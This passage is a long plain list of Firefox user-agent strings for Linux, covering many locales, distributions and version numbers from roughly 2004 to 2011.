pl-PL; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux i386; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux i586; de; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (X11; U; Linux i686; bg; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 -Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.0.10) Gecko/20070313 Fedora/1.5.0.10-5.fc6 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.0.16) Gecko/2009121601 Ubuntu/9.04 (jaunty) Firefox/3.0.16 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.1.6) Gecko/20100107 Fedora/3.5.6-1.fc12 Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; da-DK; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2 -Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4) -Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.6) Gecko/20050325 Firefox/1.0.2 (Debian package 1.0.2-1) -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.6) Gecko/20040207 Firefox/0.8 -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2 -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 (Ubuntu package 1.0.8) -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0 -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.6) Gecko/20050306 Firefox/1.0.1 (Debian package 1.0.1-2) -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.6) Gecko/20050322 Firefox/1.0.1 -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.2.8) Gecko/20100725 Gentoo Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.12) Gecko/20070719 CentOS/1.5.0.12-3.el5.centos Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20060911 SUSE/1.5.0.8-0.2 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20061115 Ubuntu/dapper-security Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.13) Gecko/20080325 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.14) Gecko/20080410 SUSE/2.0.0.14-0.1 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.14) Gecko/20080418 Ubuntu/7.10 (gutsy) Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 (Debian-2.0.0.1+dfsg-2) -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20061220 Firefox/2.0.0.1 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/7.10 (gutsy) Firefox/2.0.0.22pre -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.5) Gecko/20060911 SUSE/2.0.0.5-1.2 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009062218 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070812 Ubuntu/8.04 (hardy) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009082505 Red Hat/3.0.14-1.el5_4 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010020400 SUSE/3.0.18-0.1.1 Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010021501 Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009041500 SUSE/3.0.9-2.2 Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090722 Gentoo Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB7.0 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Ubuntu/8.04 (hardy) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100914 SUSE/3.6.10-0.3.1 Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.10 (karmic) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101209 CentOS/3.6-2.el5.centos Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.15) Gecko/20110330 CentOS/3.6-1.el5.centos Firefox/3.6.15 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.18) Gecko/20110615 Ubuntu/10.10 (maverick) Firefox/3.6.18 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.21) Gecko/20110830 Ubuntu/10.10 (maverick) Firefox/3.6.21 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.8.0.10) Gecko/20070223 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.13) Gecko/20060418 Fedora/1.0.8-1.1.fc4 Firefox/1.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2) -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.12) Gecko/20070718 Fedora/1.5.0.12-4.fc6 Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-2.1 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.16) Gecko/20080715 Ubuntu/7.10 (gutsy) Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.2pre) Gecko/20061023 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.6) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.8) Gecko/20071008 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060214 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060309 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.13) Gecko/2009080316 Ubuntu/8.04 (hardy) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.19) Gecko/2010040118 Ubuntu/8.10 (intrepid) Firefox/3.0.19 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB6 -Mozilla/5.0 (X11;U; Linux i686; en-GB; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.11) Gecko/20101013 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:2.0) Gecko/20110404 Fedora/16-dev Firefox/4.0 -Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.11) Gecko/20071216 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040225 Firefox/0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050715 Firefox/1.0.6 SUSE/1.0.6-16 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050719 Red Hat/1.0.6-1.4.1 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050720 Fedora/1.0.6-1.1.fc3 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050720 Fedora/1.0.6-1.1.fc4.k12ltsp.4.4.0 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050721 Firefox/1.0.6 (Ubuntu package 1.0.6) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050811 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050815 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050911 Firefox/1.0.6 (Debian package 1.0.6-5) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050918 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050920 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050921 Firefox/1.5.0.2 Mandriva/1.0.6-15mdk (2006.0) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20051106 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20051111 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060410 Firefox/1.0.8 Mandriva/1.0.6-16.5.20060mdk (2006.0) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060927 Firefox/1.0.4 (Debian package 1.0.4-2sarge12) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20061113 Firefox/1.0.4 (Debian package 1.0.4-2sarge13) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20070116 Firefox/1.0.4 (Debian package 1.0.4-2sarge15) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20070530 Firefox/1.0.4 (Debian package 1.0.4-2sarge17) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.4 (Ubuntu package 1.0.7) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060413 Red Hat/1.0.8-1.4.1 Firefox/1.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041117 Firefox/1.0 (Debian package 1.0-2.0.0.45.linspire0.4) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041204 Firefox/1.0 (Debian package 1.0.x.2-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041215 Firefox/1.0 Red Hat/1.0-12.EL4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041218 Firefox/1.0 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050210 Firefox/1.0 (Debian package 1.0+dfsg.1-6) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050221 Firefox/1.0 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050814 Firefox/1.0 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050310 Firefox/1.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050311 Firefox/1.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) Gecko/20050421 Firefox/1.0.3 (Debian package 1.0.3-2) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 SUSE/1.0.4-1.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050512 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Fedora/1.0.4-1.3.1 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050523 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050524 Fedora/1.0.4-4 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050610 Firefox/1.0.4 (Debian package 1.0.4-3) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040630 Firefox/0.9.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040802 Firefox/0.9.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040917 Firefox/0.9.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20060911 SUSE/1.5.0.10-0.2 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070221 Red Hat/1.5.0.10-0.1.el4 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070223 CentOS/1.5.0.10-0.1.el4.centos Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070226 Fedora/1.5.0.10-1.fc6 Firefox/1.5.0.10 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070226 Red Hat/1.5.0.10-0.1.el4 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070302 Ubuntu/dapper-security Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070409 CentOS/1.5.0.10-2.el5.centos Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070510 Fedora/1.5.0.10-6.fc6 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070529 Red Hat/1.5.0.12-0.1.el4 Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070530 Fedora/1.5.0.12-1.fc6 Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070719 CentOS/1.5.0.12-0.3.el4.centos Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20071126 Fedora/1.5.0.12-7.fc6 Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20080207 Ubuntu/dapper-security Firefox/1.5.0.13pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060313 Debian/1.5.dfsg+1.5.0.1-4 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060324 Ubuntu/dapper Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060404 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060419 Fedora/1.5.0.2-1.2.fc5 Firefox/1.5.0.2 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko Firefox/1.5.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060326 Firefox/1.5.0.3 (Debian-1.5.dfsg+1.5.0.3-2) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060504 Fedora/1.5.0.3-1.1.fc5 Firefox/1.5.0.3 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060406 Firefox/1.5.0.4 (Debian-1.5.dfsg+1.5.0.4-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.3 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060613 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060614 Fedora/1.5.0.4-1.2.fc5 Firefox/1.5.0.4 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060629 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060704 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060711 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060716 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060801 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060803 Firefox/1.5.0.5 